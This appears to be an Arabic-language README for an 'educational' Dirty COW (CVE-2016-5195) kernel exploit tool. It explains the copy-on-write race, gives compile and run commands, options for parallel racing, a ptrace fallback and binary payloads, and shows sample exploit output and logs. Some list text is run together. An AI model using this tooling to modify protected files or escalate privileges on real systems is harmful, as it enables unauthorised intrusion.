
إثبات مفهوم تعليمي لثغرة Dirty COW (CVE-2016-5195) مع تسجيل، وآلية احتياطية باستخدام ptrace، ودعم الحمولة الثنائية.
هذا الكود مخصص للأغراض التعليمية فقط. أي استخدام ضار محظور تمامًا وغير قانوني.
Dirty COW (CVE-2016-5195) هي ثغرة تصعيد صلاحيات في نواة لينكس تستغل حالة سباق (race condition) في آلية النسخ عند الكتابة (copy-on-write) في النواة. تؤثر هذه الثغرة على نوى لينكس من الإصدار 2.6.22 (الذي صدر في 2007) إلى الإصدارات الأقدم من:
تحدث الثغرة في نظام إدارة الذاكرة في النواة:
MAP_PRIVATE، يجب أن تنشئ التعديلات نسخة خاصةmadvise(MADV_DONTNEED) والكتابة إلى /proc/self/mem/etc/passwdلا تقم أبدًا بتشغيل هذا على أنظمة إنتاج أو أنظمة لا تملكها!
# 1. تحقق من إصدار النواة أولاً
uname -r
# 2. أنشئ دليل اختبار معزول
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. اختبر باستخدام ملفات غير ضارة فقط
./main -t /tmp/test_file -v
# 4. راقب موارد النظام
top -p $(pgrep -f main)
# تثبيت الحزم المطلوبة (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# تثبيت الحزم المطلوبة (CentOS/RHEL)
sudo yum install gcc openssl-devel
# تجميع قياسي
make
# إصدار التصحيح
make main-debug
# تجميع يدوي
gcc -o main main.c -lpthread -lssl -lcrypto
# اختبار بسيط بالإعدادات الافتراضية
./main
# وضع مفصّل مع هدف مخصص
./main -t /tmp/testfile -v
# استخدام متقدم مع عمليات متعددة
./main -t /tmp/target -n 4 -r 3 -D -v
# حمولة ثنائية من ملف
./main -f payload.bin -P -D -n 2
/proc/self/mem (افتراضي)ptrace(PTRACE_POKETEXT) للأنظمة المقيدةيمسح إزاحات ذاكرة متعددة للعثور على أفضل موضع للكتابة:
./main -D -v # تفعيل المسح الديناميكي للإزاحة
إطلاق عمليات متعددة لظروف سباق مكثفة:
./main -n 4 # استخدام 4 عمليات متوازية
تحميل بيانات ثنائية عشوائية من ملفات:
# إنشاء حمولة ثنائية
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# استخدام الحمولة الثنائية
./main -f payload.bin -v
إعادة محاولة المحاولات الفاشلة تلقائيًا:
./main -r 5 # إعادة المحاولة حتى 5 مرات
استخدام تجزئة SHA-256 للتحقق من تعديلات الملف:
# التحقق من تجزئات الملف الأصلي مقابل المعدل
./main -v # يظهر مقارنة التجزئات في الوضع المفصل
Dirty COW Educational PoC (CVE-2016-5195)
==========================================
=== معلومات النظام ===
إصدار النواة: Linux 4.4.0-generic
البنية: x86_64
المستخدم الحالي: testuser
UID/GID: 1000/1000
=== التحقق من الثغرة ===
النواة: Linux version 4.4.0-generic
[+] /proc/self/mem قابل للوصول
=== بدء الاختبار ===
=== تنفيذ الاستغلال ===
[+] الهدف: /tmp/dirty_cow_test
[+] طول الحمولة: 32 بايت
[+] التكرارات: 10000000
[+] العمليات: 1
[+] الطريقة: /proc/self/mem
[+] الإزاحة الديناميكية: معطلة
[+] تم إنشاء نسخة احتياطية: /tmp/dirty_cow_test.backup
[+] المحتوى الأصلي: original-content-before-exploit
[+] بدء اختبار حالة السباق...
[+] نجاح الاستغلال في المحاولة 1!
[+] تغيرت تجزئة الملف - تم تأكيد التعديل!
[+] الأصلي: a1b2c3d4e5f6...
[+] النهائي: f6e5d4c3b2a1...
=== نجاح الاختبار ===
[+] تم تعديل الملف
[+] تحقق الهدف التعليمي
[+] إحصائيات: 156789 كتابة، 1 ناجحة، 2.347 ثانية
يقوم الأداة بإنشاء سجلات مفصلة في exploit_log.txt:
[2024-01-15 10:30:45] معلومات النظام - UID/GID: 1000/1000
[2024-01-15 10:30:45] إصدار النواة: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem قابل للوصول
[2024-01-15 10:30:45] بدء الاستغلال - الهدف: /tmp/test, الحمولة: 32 بايت
[2024-01-15 10:30:47] نجاح الاستغلال في المحاولة 1
[2024-01-15 10:30:47] الإحصائيات النهائية - كتابات: 156789, ناجحة: 1, المدة: 2.347 ثانية
# اختبار وظائف الاستغلال الأساسية
./main -t /tmp/basic_test -v
# اختبار حالة سباق عالي الكثافة
./main -i 50000000 -n 4 -r 3 -D -v
# اختبار عند حظر /proc/self/mem
./main -P -D -v
# اختبار ببيانات ثنائية تحتوي على بايتات فارغة
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
يعمل الاستغلال عن طريق إنشاء سباق بين عمليتين:
madvise(MADV_DONTNEED) - يطلب من النواة التخلص من صفحات الذاكرة/proc/self/mem - يحاول الكتابة إلى الذاكرة المعيّنةMAP_PRIVATEعند نجاح حالة السباق:
1. "فشل الاستغلال أو تكرارات غير كافية"
-i أو استخدم عمليات متعددة -n2. "فشل الوصول إلى /proc/self/mem"
-P3. "قد لا يكون النظام قابلاً للاستغلال"
uname -r4. يصبح النظام غير مستجيب
-i 1000000-n 1# إعدادات متحفظة (أبطأ ولكن أكثر أمانًا)
./main -i 5000000 -n 1
# إعدادات عدوانية (أسرع ولكن مكثفة الموارد)
./main -i 50000000 -n 4 -D
# إعدادات متوازنة
./main -i 20000000 -n 2 -r 2 -D
هذه أداة تعليمية. يجب أن تركز المساهمات على:
هذا البرنامج مقدّم للأغراض التعليمية والبحثية فقط. المؤلفون والمساهمون ليسوا مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. المستخدمون وحدهم مسؤولون عن ضمان حصولهم على التصريح المناسب قبل الاختبار على أي أنظمة.
باستخدام هذا البرنامج، فإنك تقر بما يلي:
تم إصدار هذا المشروع بموجب رخصة MIT للأغراض التعليمية فقط.
تذكر: مع القوة العظيمة تأتي مسؤولية عظيمة. استخدم هذه المعرفة لحماية الأنظمة وتأمينها، وليس لإيذائها.
| الخيار | الوصف | الافتراضي | الحد الأقصى |
|---|
-t <ملف> | مسار الملف الهدف | /tmp/dirty_cow_test | - |
-p <حمولة> | حمولة نصية مخصصة | سلسلة اختبار | - |
-f <ملف> | تحميل حمولة ثنائية من ملف | - | - |
-i <رقم> | عدد التكرارات | 10,000,000 | 100,000,000 |
-n <رقم> | عدد العمليات المتوازية | 1 | 8 |
-r <رقم> | محاولات إعادة المحاولة | 1 | 10 |
-P | استخدام ptrace بدلاً من /proc/self/mem | معطّل | - |
-D | تفعيل المسح الديناميكي للإزاحة | معطّل | - |
-v | إخراج مفصّل | معطّل | - |
-l <ملف> | مسار ملف السجل | exploit_log.txt | - |
-h | إظهار المساعدة | - | - |